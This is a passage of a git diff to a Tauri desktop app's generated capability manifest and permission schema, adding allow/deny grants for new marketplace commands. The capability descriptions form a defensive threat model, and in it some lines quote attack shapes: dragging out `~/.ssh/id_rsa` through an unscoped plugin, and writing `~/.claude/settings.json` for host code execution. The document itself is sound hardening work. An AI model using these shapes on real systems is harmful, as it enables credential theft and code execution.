false for every desktop build. A `devCsp` here would be inert config that reads as protection, which is worse than its absence. If a CSP in dev is wanted, the only place that can set one is the Vite dev server's own `server.headers` in `app/vite.config.ts`; it is not set today, and dev is not the shipped configuration.","local":true,"windows":["main"],"permissions":["core:event:allow-listen","core:event:allow-unlisten","core:webview:allow-internal-toggle-devtools","dialog:allow-open","dialog:allow-save","allow-check-docker","allow-check-image-exists","allow-build-image","allow-get-container-info","allow-list-projects","allow-add-project","allow-remove-project","allow-update-project","allow-start-project-container","allow-stop-project-container","allow-rebuild-project-container","allow-reconcile-project-statuses","allow-list-notes","allow-save-note","allow-delete-note","allow-get-container-staleness","allow-migrate-project-to-base","allow-confirm-migration","allow-rollback-migration","allow-get-migration-state","allow-set-auth-bridge-enabled","allow-get-auth-bridge-status","allow-set-browser-view-enabled","allow-get-browser-view-status","allow-check-browser-view-support","allow-install-browser-view-support","allow-install-browser-view-browser","allow-open-browser-view-popout","allow-close-browser-view-popout","allow-get-browser-view-popout-state","allow-set-browser-view-popout-always-on-top","allow-open-page-in-container-browser","allow-set-container-page-viewport","allow-get-container-page-state","allow-close-container-page","allow-set-browser-view-match-window","allow-get-browser-view-match-window","allow-acquire-claude-token","allow-submit-claude-token-code","allow-cancel-claude-token","allow-has-claude-token","allow-clear-claude-token","allow-sweep-claude-token-snapshots","allow-get-settings","allow-update-settings","allow-pull-image","allow-detect-aws-config","allow-inspect-ca-cert-path","allow-list-aws-profiles","allow-detect-host-timezone","allow-export-settings","allow-preview-settings-import","allow-apply-settings-import","allow-open-terminal-session","allow-terminal-input","allow-terminal-resize","allow-close-terminal-session","allow-paste-image-to-terminal","allow-upload-host-file-to-terminal","allow-start-audio-bridge","allow-send-audio-data","allow-stop-audio-bridge","allow-list-container-files","allow-download-container-backup","allow-download-container-file","allow-upload-files-to-container","allow-read-container-file","allow-rename-container-path","allow-create-container-directory","allow-open-file-viewer","allow-aws-sso-refresh","allow-get-app-version","allow-check-for-updates","allow-check-image-update","allow-get-help-content","allow-open-url-external","allow-detect-install-options","allow-run-docker-install","allow-start-web-terminal","allow-stop-web-terminal","allow-get-web-terminal-status","allow-regenerate-web-terminal-token","allow-get-stt-status","allow-start-stt","allow-stop-stt","allow-build-stt-image","allow-pull-stt-image","allow-transcribe-audio","allow-get-gateway-status","allow-start-gateway","allow-stop-gateway","allow-check-gateway-health","allow-build-gateway-image","allow-pull-gateway-image","allow-set-gateway-api-key","allow-clear-gateway-api-key","allow-get-gateway-auth-token","allow-regenerate-gateway-auth-token","allow-list-claude-sessions","allow-resume-session-command","allow-list-container-capabilities","allow-list-scheduled-tasks","allow-add-scheduled-task","allow-update-scheduled-task","allow-get-scheduled-task-log","allow-set-scheduled-task-enabled","allow-run-scheduled-task-now","allow-remove-scheduled-task","allow-get-scheduler-notifications","allow-clear-scheduler-notifications"]},"file-viewer":{"identifier":"file-viewer","description":"The terminal file viewer windows (`file-viewer-`, opened by `open_file_viewer` on the app's own `viewer.html`). Same rules as `default.json`, including the layout checks: this file itself must stay a top-level `capabilities/*.json` with no `webviews` or `remote` key, or `build.rs` refuses the build rather than grant something the census cannot see. The five bare `allow-viewer-*` grants are the only app commands a viewer window can invoke: `build.rs` declares the AppManifest that makes tauri enforce that, and refuses any other bare grant in this file. The label gate inside `commands/file_viewer_commands.rs` is still what stops window A acting on window B's registry entry, because the ACL only decides which window may call. The rest of this file is the plugin-command surface a compromised viewer webview could reach, and it is the smallest one that lets the window work. `core:event:allow-listen`/`allow-unlisten` are for `file-viewer-goto` (Rust → this window; the viewer subscribes through `getCurrentWindow().listen`, because a bare `listen()` in *any* window receives an `emit_to`). `core:window:allow-destroy` is not optional: `getCurrentWindow().onCloseRequested` in @tauri-apps/api 2.11 makes Rust `prevent_close()` whenever a JS listener exists and then calls `destroy()` itself, so without this grant the window's X button does nothing once the unsaved-changes guard is installed. `allow-close` is deliberately absent — nothing calls it, and `destroy` is the only exit. No `set-title`/`set-focus`/`unminimize`: those are done from Rust when a second click targets an already-open file. `core:webview:allow-internal-toggle-devtools` is the same dev-only convenience `default.json` carries.","local":true,"windows":["file-viewer-*"],"permissions":["core:event:allow-listen","core:event:allow-unlisten","core:window:allow-destroy","core:webview:allow-internal-toggle-devtools","allow-viewer-get-state","allow-viewer-choose-file","allow-viewer-read-file","allow-viewer-poll-file","allow-viewer-write-file"]}} \ No newline at end of file +{"default":{"identifier":"default","description":"Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate field and Backup. Two commands still take a host path over IPC as a string — the terminal drop and `download_container_backup` — and for those `validate_host_path` is the boundary rather than defence in depth. This file is the reviewed threat model of record, so keep this census accurate: a stale reference here is worse than none. Note that dragging files *into* the app is unaffected: `dragDropEnabled` and `onDragDropEvent` are core webview behaviour and need no grant. Historical note kept because it is easy to re-introduce: the `store:*` grants were removed — nothing in `app/src` uses `@tauri-apps/plugin-store`, and the plugin's `resolve_store_path` is a `PathBuf::push` against AppData, which `push` discards outright when handed an absolute path, so the grant was an arbitrary host-file read/write primitive (`plugin:store|load` + `set` + `save` on `~/.claude/settings.json` is host code execution). A second capability file, `file-viewer.json`, covers the `file-viewer-*` windows the terminal file viewer opens on `viewer.html`; it is the only other local-origin window, its grants are listed and justified there, and its one non-obvious grant (`core:window:allow-destroy`) exists because `onCloseRequested` cannot close a window without it. App commands are gated by this file too. `build.rs` declares a Tauri `AppManifest` listing every command in `generate_handler!`, which is what makes tauri 2.11.0 apply the ACL to app commands at all (`webview/mod.rs:1794` skips it when no app manifest exists), and the bare `allow-` entries below are the complete list of app commands the main window may call. `build.rs` refuses to build unless every registered command has exactly one such grant, in the file whose `windows` its name says it belongs to (`viewer_*` in `file-viewer.json`, everything else here), and unless every bare entry names a registered command — so a forgotten, misspelled, duplicated or misfiled grant is a failed `cargo check`, not a feature that dies at runtime with `not allowed by ACL`. `deny-*` is banned by the same check: in tauri 2.11.0 a deny matches regardless of window or origin, so a deny meant for the viewer would deny main too. Hand-written files under `permissions/` are refused for the same reason — they would be grants this census cannot see. Because the census can only vouch for what it reads, `build.rs` also refuses any capability it did not check: anything in `capabilities/` other than a top-level `*.json` file (tauri also loads `.toml`/`.json5` there, and subdirectories), a `webviews` or `remote` key in a capability file (either would extend grants beyond what `windows` says), `app.security.capabilities` declared inline in `tauri.conf.json`, any `tauri..conf.json`, or `TAURI_CONFIG`, and a tauri config in a format the census cannot parse (JSON5, TOML). OS/editor junk (`.DS_Store`, `Thumbs.db`, editor swap files) is recognised and skipped in `capabilities/` and `permissions/` rather than refused, since tauri never loads it either. Each failure names the check that failed (\"stray entry in capabilities/\", \"capabilities declared outside capabilities/\", \"hand-written permission\", …) rather than always reading as a grant/handler mismatch. Known gap: adding a new `tauri..conf.json` to a tree that has already been built once only takes effect on a clean build or in CI — cargo's incremental build has no reason to notice a file that did not exist on the previous build. The `*marketplace*` commands fetch user-configured https git repos on the host and push pinned files into containers; account tokens stay in the OS keychain and never cross IPC outward — the only inbound one is the token pasted into `add_marketplace_token_account`. The pop-out stays capability-less. The Rust label gates in `commands/file_viewer_commands.rs` remain, because the ACL says *which* window may call a command and the label says *whose* registry entry it acts on; they are not redundant. The rules live in `src/command_census.rs`, which is unit-tested, and `src/test/capabilities.test.ts` checks the other direction: that the code that runs in each window imports only the wrappers that window is granted. On the CSP side: `app.security.csp` in `tauri.conf.json` covers the shipped bundle, and there is deliberately no `devCsp`. `npm run tauri dev` loads the main document straight from Vite at `build.devUrl` (`http://localhost:1420`), and Tauri only attaches a CSP to documents it serves itself — `protocol/tauri.rs:217` sets the header on `tauri://` assets, and the dev server is proxied through that protocol only when `PROXY_DEV_SERVER`, which is `cfg!(all(dev, mobile))` and therefore false for every desktop build. A `devCsp` here would be inert config that reads as protection, which is worse than its absence. If a CSP in dev is wanted, the only place that can set one is the Vite dev server's own `server.headers` in `app/vite.config.ts`; it is not set today, and dev is not the shipped configuration.","local":true,"windows":["main"],"permissions":["core:event:allow-listen","core:event:allow-unlisten","core:webview:allow-internal-toggle-devtools","dialog:allow-open","dialog:allow-save","allow-check-docker","allow-check-image-exists","allow-build-image","allow-get-container-info","allow-list-projects","allow-add-project","allow-remove-project","allow-update-project","allow-start-project-container","allow-stop-project-container","allow-rebuild-project-container","allow-reconcile-project-statuses","allow-list-notes","allow-save-note","allow-delete-note","allow-get-container-staleness","allow-migrate-project-to-base","allow-confirm-migration","allow-rollback-migration","allow-get-migration-state","allow-set-auth-bridge-enabled","allow-get-auth-bridge-status","allow-set-browser-view-enabled","allow-get-browser-view-status","allow-check-browser-view-support","allow-install-browser-view-support","allow-install-browser-view-browser","allow-open-browser-view-popout","allow-close-browser-view-popout","allow-get-browser-view-popout-state","allow-set-browser-view-popout-always-on-top","allow-open-page-in-container-browser","allow-set-container-page-viewport","allow-get-container-page-state","allow-close-container-page","allow-set-browser-view-match-window","allow-get-browser-view-match-window","allow-acquire-claude-token","allow-submit-claude-token-code","allow-cancel-claude-token","allow-has-claude-token","allow-clear-claude-token","allow-sweep-claude-token-snapshots","allow-get-settings","allow-update-settings","allow-pull-image","allow-detect-aws-config","allow-inspect-ca-cert-path","allow-list-aws-profiles","allow-detect-host-timezone","allow-export-settings","allow-preview-settings-import","allow-apply-settings-import","allow-open-terminal-session","allow-terminal-input","allow-terminal-resize","allow-close-terminal-session","allow-paste-image-to-terminal","allow-upload-host-file-to-terminal","allow-start-audio-bridge","allow-send-audio-data","allow-stop-audio-bridge","allow-list-container-files","allow-download-container-backup","allow-download-container-file","allow-upload-files-to-container","allow-read-container-file","allow-rename-container-path","allow-create-container-directory","allow-open-file-viewer","allow-aws-sso-refresh","allow-get-app-version","allow-check-for-updates","allow-check-image-update","allow-get-help-content","allow-open-url-external","allow-detect-install-options","allow-run-docker-install","allow-start-web-terminal","allow-stop-web-terminal","allow-get-web-terminal-status","allow-regenerate-web-terminal-token","allow-get-stt-status","allow-start-stt","allow-stop-stt","allow-build-stt-image","allow-pull-stt-image","allow-transcribe-audio","allow-get-gateway-status","allow-start-gateway","allow-stop-gateway","allow-check-gateway-health","allow-build-gateway-image","allow-pull-gateway-image","allow-set-gateway-api-key","allow-clear-gateway-api-key","allow-get-gateway-auth-token","allow-regenerate-gateway-auth-token","allow-list-claude-sessions","allow-resume-session-command","allow-list-container-capabilities","allow-list-scheduled-tasks","allow-add-scheduled-task","allow-update-scheduled-task","allow-get-scheduled-task-log","allow-set-scheduled-task-enabled","allow-run-scheduled-task-now","allow-remove-scheduled-task","allow-get-scheduler-notifications","allow-clear-scheduler-notifications","allow-list-marketplace-snapshots","allow-refresh-marketplaces","allow-add-marketplace","allow-update-marketplace","allow-remove-marketplace","allow-install-marketplace-item","allow-uninstall-marketplace-item","allow-set-global-item-disabled","allow-forget-marketplace-installs","allow-list-marketplace-updates","allow-marketplace-item-diff","allow-update-marketplace-item","allow-apply-marketplace-now","allow-get-marketplace-sync-report","allow-add-marketplace-token-account","allow-add-marketplace-gh-host-account","allow-start-marketplace-gh-container-login","allow-cancel-marketplace-gh-login","allow-test-marketplace-account","allow-remove-marketplace-account","allow-marketplace-gh-host-available"]},"file-viewer":{"identifier":"file-viewer","description":"The terminal file viewer windows (`file-viewer-`, opened by `open_file_viewer` on the app's own `viewer.html`). Same rules as `default.json`, including the layout checks: this file itself must stay a top-level `capabilities/*.json` with no `webviews` or `remote` key, or `build.rs` refuses the build rather than grant something the census cannot see. The five bare `allow-viewer-*` grants are the only app commands a viewer window can invoke: `build.rs` declares the AppManifest that makes tauri enforce that, and refuses any other bare grant in this file. The label gate inside `commands/file_viewer_commands.rs` is still what stops window A acting on window B's registry entry, because the ACL only decides which window may call. The rest of this file is the plugin-command surface a compromised viewer webview could reach, and it is the smallest one that lets the window work. `core:event:allow-listen`/`allow-unlisten` are for `file-viewer-goto` (Rust → this window; the viewer subscribes through `getCurrentWindow().listen`, because a bare `listen()` in *any* window receives an `emit_to`). `core:window:allow-destroy` is not optional: `getCurrentWindow().onCloseRequested` in @tauri-apps/api 2.11 makes Rust `prevent_close()` whenever a JS listener exists and then calls `destroy()` itself, so without this grant the window's X button does nothing once the unsaved-changes guard is installed. `allow-close` is deliberately absent — nothing calls it, and `destroy` is the only exit. No `set-title`/`set-focus`/`unminimize`: those are done from Rust when a second click targets an already-open file. `core:webview:allow-internal-toggle-devtools` is the same dev-only convenience `default.json` carries.","local":true,"windows":["file-viewer-*"],"permissions":["core:event:allow-listen","core:event:allow-unlisten","core:window:allow-destroy","core:webview:allow-internal-toggle-devtools","allow-viewer-get-state","allow-viewer-choose-file","allow-viewer-read-file","allow-viewer-poll-file","allow-viewer-write-file"]}} \ No newline at end of file diff --git a/app/src-tauri/gen/schemas/desktop-schema.json b/app/src-tauri/gen/schemas/desktop-schema.json index 101ec55..1a603db 100644 --- a/app/src-tauri/gen/schemas/desktop-schema.json +++ b/app/src-tauri/gen/schemas/desktop-schema.json @@ -350,6 +350,24 @@ "const": "allow-acquire-claude-token", "markdownDescription": "Enables the acquire_claude_token command without any pre-configured scope." }, + { + "description": "Enables the add_marketplace command without any pre-configured scope.", + "type": "string", + "const": "allow-add-marketplace", + "markdownDescription": "Enables the add_marketplace command without any pre-configured scope." + }, + { + "description": "Enables the add_marketplace_gh_host_account command without any pre-configured scope.", + "type": "string", + "const": "allow-add-marketplace-gh-host-account", + "markdownDescription": "Enables the add_marketplace_gh_host_account command without any pre-configured scope." + }, + { + "description": "Enables the add_marketplace_token_account command without any pre-configured scope.", + "type": "string", + "const": "allow-add-marketplace-token-account", + "markdownDescription": "Enables the add_marketplace_token_account command without any pre-configured scope." + }, { "description": "Enables the add_project command without any pre-configured scope.", "type": "string", @@ -362,6 +380,12 @@ "const": "allow-add-scheduled-task", "markdownDescription": "Enables the add_scheduled_task command without any pre-configured scope." }, + { + "description": "Enables the apply_marketplace_now command without any pre-configured scope.", + "type": "string", + "const": "allow-apply-marketplace-now", + "markdownDescription": "Enables the apply_marketplace_now command without any pre-configured scope." + }, { "description": "Enables the apply_settings_import command without any pre-configured scope.", "type": "string", @@ -398,6 +422,12 @@ "const": "allow-cancel-claude-token", "markdownDescription": "Enables the cancel_claude_token command without any pre-configured scope." }, + { + "description": "Enables the cancel_marketplace_gh_login command without any pre-configured scope.", + "type": "string", + "const": "allow-cancel-marketplace-gh-login", + "markdownDescription": "Enables the cancel_marketplace_gh_login command without any pre-configured scope." + }, { "description": "Enables the check_browser_view_support command without any pre-configured scope.", "type": "string", @@ -524,6 +554,12 @@ "const": "allow-export-settings", "markdownDescription": "Enables the export_settings command without any pre-configured scope." }, + { + "description": "Enables the forget_marketplace_installs command without any pre-configured scope.", + "type": "string", + "const": "allow-forget-marketplace-installs", + "markdownDescription": "Enables the forget_marketplace_installs command without any pre-configured scope." + }, { "description": "Enables the get_app_version command without any pre-configured scope.", "type": "string", @@ -590,6 +626,12 @@ "const": "allow-get-help-content", "markdownDescription": "Enables the get_help_content command without any pre-configured scope." }, + { + "description": "Enables the get_marketplace_sync_report command without any pre-configured scope.", + "type": "string", + "const": "allow-get-marketplace-sync-report", + "markdownDescription": "Enables the get_marketplace_sync_report command without any pre-configured scope." + }, { "description": "Enables the get_migration_state command without any pre-configured scope.", "type": "string", @@ -650,6 +692,12 @@ "const": "allow-install-browser-view-support", "markdownDescription": "Enables the install_browser_view_support command without any pre-configured scope." }, + { + "description": "Enables the install_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "allow-install-marketplace-item", + "markdownDescription": "Enables the install_marketplace_item command without any pre-configured scope." + }, { "description": "Enables the list_aws_profiles command without any pre-configured scope.", "type": "string", @@ -674,6 +722,18 @@ "const": "allow-list-container-files", "markdownDescription": "Enables the list_container_files command without any pre-configured scope." }, + { + "description": "Enables the list_marketplace_snapshots command without any pre-configured scope.", + "type": "string", + "const": "allow-list-marketplace-snapshots", + "markdownDescription": "Enables the list_marketplace_snapshots command without any pre-configured scope." + }, + { + "description": "Enables the list_marketplace_updates command without any pre-configured scope.", + "type": "string", + "const": "allow-list-marketplace-updates", + "markdownDescription": "Enables the list_marketplace_updates command without any pre-configured scope." + }, { "description": "Enables the list_notes command without any pre-configured scope.", "type": "string", @@ -692,6 +752,18 @@ "const": "allow-list-scheduled-tasks", "markdownDescription": "Enables the list_scheduled_tasks command without any pre-configured scope." }, + { + "description": "Enables the marketplace_gh_host_available command without any pre-configured scope.", + "type": "string", + "const": "allow-marketplace-gh-host-available", + "markdownDescription": "Enables the marketplace_gh_host_available command without any pre-configured scope." + }, + { + "description": "Enables the marketplace_item_diff command without any pre-configured scope.", + "type": "string", + "const": "allow-marketplace-item-diff", + "markdownDescription": "Enables the marketplace_item_diff command without any pre-configured scope." + }, { "description": "Enables the migrate_project_to_base command without any pre-configured scope.", "type": "string", @@ -776,6 +848,12 @@ "const": "allow-reconcile-project-statuses", "markdownDescription": "Enables the reconcile_project_statuses command without any pre-configured scope." }, + { + "description": "Enables the refresh_marketplaces command without any pre-configured scope.", + "type": "string", + "const": "allow-refresh-marketplaces", + "markdownDescription": "Enables the refresh_marketplaces command without any pre-configured scope." + }, { "description": "Enables the regenerate_gateway_auth_token command without any pre-configured scope.", "type": "string", @@ -788,6 +866,18 @@ "const": "allow-regenerate-web-terminal-token", "markdownDescription": "Enables the regenerate_web_terminal_token command without any pre-configured scope." }, + { + "description": "Enables the remove_marketplace command without any pre-configured scope.", + "type": "string", + "const": "allow-remove-marketplace", + "markdownDescription": "Enables the remove_marketplace command without any pre-configured scope." + }, + { + "description": "Enables the remove_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "allow-remove-marketplace-account", + "markdownDescription": "Enables the remove_marketplace_account command without any pre-configured scope." + }, { "description": "Enables the remove_project command without any pre-configured scope.", "type": "string", @@ -878,6 +968,12 @@ "const": "allow-set-gateway-api-key", "markdownDescription": "Enables the set_gateway_api_key command without any pre-configured scope." }, + { + "description": "Enables the set_global_item_disabled command without any pre-configured scope.", + "type": "string", + "const": "allow-set-global-item-disabled", + "markdownDescription": "Enables the set_global_item_disabled command without any pre-configured scope." + }, { "description": "Enables the set_scheduled_task_enabled command without any pre-configured scope.", "type": "string", @@ -896,6 +992,12 @@ "const": "allow-start-gateway", "markdownDescription": "Enables the start_gateway command without any pre-configured scope." }, + { + "description": "Enables the start_marketplace_gh_container_login command without any pre-configured scope.", + "type": "string", + "const": "allow-start-marketplace-gh-container-login", + "markdownDescription": "Enables the start_marketplace_gh_container_login command without any pre-configured scope." + }, { "description": "Enables the start_project_container command without any pre-configured scope.", "type": "string", @@ -968,12 +1070,36 @@ "const": "allow-terminal-resize", "markdownDescription": "Enables the terminal_resize command without any pre-configured scope." }, + { + "description": "Enables the test_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "allow-test-marketplace-account", + "markdownDescription": "Enables the test_marketplace_account command without any pre-configured scope." + }, { "description": "Enables the transcribe_audio command without any pre-configured scope.", "type": "string", "const": "allow-transcribe-audio", "markdownDescription": "Enables the transcribe_audio command without any pre-configured scope." }, + { + "description": "Enables the uninstall_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "allow-uninstall-marketplace-item", + "markdownDescription": "Enables the uninstall_marketplace_item command without any pre-configured scope." + }, + { + "description": "Enables the update_marketplace command without any pre-configured scope.", + "type": "string", + "const": "allow-update-marketplace", + "markdownDescription": "Enables the update_marketplace command without any pre-configured scope." + }, + { + "description": "Enables the update_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "allow-update-marketplace-item", + "markdownDescription": "Enables the update_marketplace_item command without any pre-configured scope." + }, { "description": "Enables the update_project command without any pre-configured scope.", "type": "string", @@ -1040,6 +1166,24 @@ "const": "deny-acquire-claude-token", "markdownDescription": "Denies the acquire_claude_token command without any pre-configured scope." }, + { + "description": "Denies the add_marketplace command without any pre-configured scope.", + "type": "string", + "const": "deny-add-marketplace", + "markdownDescription": "Denies the add_marketplace command without any pre-configured scope." + }, + { + "description": "Denies the add_marketplace_gh_host_account command without any pre-configured scope.", + "type": "string", + "const": "deny-add-marketplace-gh-host-account", + "markdownDescription": "Denies the add_marketplace_gh_host_account command without any pre-configured scope." + }, + { + "description": "Denies the add_marketplace_token_account command without any pre-configured scope.", + "type": "string", + "const": "deny-add-marketplace-token-account", + "markdownDescription": "Denies the add_marketplace_token_account command without any pre-configured scope." + }, { "description": "Denies the add_project command without any pre-configured scope.", "type": "string", @@ -1052,6 +1196,12 @@ "const": "deny-add-scheduled-task", "markdownDescription": "Denies the add_scheduled_task command without any pre-configured scope." }, + { + "description": "Denies the apply_marketplace_now command without any pre-configured scope.", + "type": "string", + "const": "deny-apply-marketplace-now", + "markdownDescription": "Denies the apply_marketplace_now command without any pre-configured scope." + }, { "description": "Denies the apply_settings_import command without any pre-configured scope.", "type": "string", @@ -1088,6 +1238,12 @@ "const": "deny-cancel-claude-token", "markdownDescription": "Denies the cancel_claude_token command without any pre-configured scope." }, + { + "description": "Denies the cancel_marketplace_gh_login command without any pre-configured scope.", + "type": "string", + "const": "deny-cancel-marketplace-gh-login", + "markdownDescription": "Denies the cancel_marketplace_gh_login command without any pre-configured scope." + }, { "description": "Denies the check_browser_view_support command without any pre-configured scope.", "type": "string", @@ -1214,6 +1370,12 @@ "const": "deny-export-settings", "markdownDescription": "Denies the export_settings command without any pre-configured scope." }, + { + "description": "Denies the forget_marketplace_installs command without any pre-configured scope.", + "type": "string", + "const": "deny-forget-marketplace-installs", + "markdownDescription": "Denies the forget_marketplace_installs command without any pre-configured scope." + }, { "description": "Denies the get_app_version command without any pre-configured scope.", "type": "string", @@ -1280,6 +1442,12 @@ "const": "deny-get-help-content", "markdownDescription": "Denies the get_help_content command without any pre-configured scope." }, + { + "description": "Denies the get_marketplace_sync_report command without any pre-configured scope.", + "type": "string", + "const": "deny-get-marketplace-sync-report", + "markdownDescription": "Denies the get_marketplace_sync_report command without any pre-configured scope." + }, { "description": "Denies the get_migration_state command without any pre-configured scope.", "type": "string", @@ -1340,6 +1508,12 @@ "const": "deny-install-browser-view-support", "markdownDescription": "Denies the install_browser_view_support command without any pre-configured scope." }, + { + "description": "Denies the install_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "deny-install-marketplace-item", + "markdownDescription": "Denies the install_marketplace_item command without any pre-configured scope." + }, { "description": "Denies the list_aws_profiles command without any pre-configured scope.", "type": "string", @@ -1364,6 +1538,18 @@ "const": "deny-list-container-files", "markdownDescription": "Denies the list_container_files command without any pre-configured scope." }, + { + "description": "Denies the list_marketplace_snapshots command without any pre-configured scope.", + "type": "string", + "const": "deny-list-marketplace-snapshots", + "markdownDescription": "Denies the list_marketplace_snapshots command without any pre-configured scope." + }, + { + "description": "Denies the list_marketplace_updates command without any pre-configured scope.", + "type": "string", + "const": "deny-list-marketplace-updates", + "markdownDescription": "Denies the list_marketplace_updates command without any pre-configured scope." + }, { "description": "Denies the list_notes command without any pre-configured scope.", "type": "string", @@ -1382,6 +1568,18 @@ "const": "deny-list-scheduled-tasks", "markdownDescription": "Denies the list_scheduled_tasks command without any pre-configured scope." }, + { + "description": "Denies the marketplace_gh_host_available command without any pre-configured scope.", + "type": "string", + "const": "deny-marketplace-gh-host-available", + "markdownDescription": "Denies the marketplace_gh_host_available command without any pre-configured scope." + }, + { + "description": "Denies the marketplace_item_diff command without any pre-configured scope.", + "type": "string", + "const": "deny-marketplace-item-diff", + "markdownDescription": "Denies the marketplace_item_diff command without any pre-configured scope." + }, { "description": "Denies the migrate_project_to_base command without any pre-configured scope.", "type": "string", @@ -1466,6 +1664,12 @@ "const": "deny-reconcile-project-statuses", "markdownDescription": "Denies the reconcile_project_statuses command without any pre-configured scope." }, + { + "description": "Denies the refresh_marketplaces command without any pre-configured scope.", + "type": "string", + "const": "deny-refresh-marketplaces", + "markdownDescription": "Denies the refresh_marketplaces command without any pre-configured scope." + }, { "description": "Denies the regenerate_gateway_auth_token command without any pre-configured scope.", "type": "string", @@ -1478,6 +1682,18 @@ "const": "deny-regenerate-web-terminal-token", "markdownDescription": "Denies the regenerate_web_terminal_token command without any pre-configured scope." }, + { + "description": "Denies the remove_marketplace command without any pre-configured scope.", + "type": "string", + "const": "deny-remove-marketplace", + "markdownDescription": "Denies the remove_marketplace command without any pre-configured scope." + }, + { + "description": "Denies the remove_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "deny-remove-marketplace-account", + "markdownDescription": "Denies the remove_marketplace_account command without any pre-configured scope." + }, { "description": "Denies the remove_project command without any pre-configured scope.", "type": "string", @@ -1568,6 +1784,12 @@ "const": "deny-set-gateway-api-key", "markdownDescription": "Denies the set_gateway_api_key command without any pre-configured scope." }, + { + "description": "Denies the set_global_item_disabled command without any pre-configured scope.", + "type": "string", + "const": "deny-set-global-item-disabled", + "markdownDescription": "Denies the set_global_item_disabled command without any pre-configured scope." + }, { "description": "Denies the set_scheduled_task_enabled command without any pre-configured scope.", "type": "string", @@ -1586,6 +1808,12 @@ "const": "deny-start-gateway", "markdownDescription": "Denies the start_gateway command without any pre-configured scope." }, + { + "description": "Denies the start_marketplace_gh_container_login command without any pre-configured scope.", + "type": "string", + "const": "deny-start-marketplace-gh-container-login", + "markdownDescription": "Denies the start_marketplace_gh_container_login command without any pre-configured scope." + }, { "description": "Denies the start_project_container command without any pre-configured scope.", "type": "string", @@ -1658,12 +1886,36 @@ "const": "deny-terminal-resize", "markdownDescription": "Denies the terminal_resize command without any pre-configured scope." }, + { + "description": "Denies the test_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "deny-test-marketplace-account", + "markdownDescription": "Denies the test_marketplace_account command without any pre-configured scope." + }, { "description": "Denies the transcribe_audio command without any pre-configured scope.", "type": "string", "const": "deny-transcribe-audio", "markdownDescription": "Denies the transcribe_audio command without any pre-configured scope." }, + { + "description": "Denies the uninstall_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "deny-uninstall-marketplace-item", + "markdownDescription": "Denies the uninstall_marketplace_item command without any pre-configured scope." + }, + { + "description": "Denies the update_marketplace command without any pre-configured scope.", + "type": "string", + "const": "deny-update-marketplace", + "markdownDescription": "Denies the update_marketplace command without any pre-configured scope." + }, + { + "description": "Denies the update_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "deny-update-marketplace-item", + "markdownDescription": "Denies the update_marketplace_item command without any pre-configured scope." + }, { "description": "Denies the update_project command without any pre-configured scope.", "type": "string", diff --git 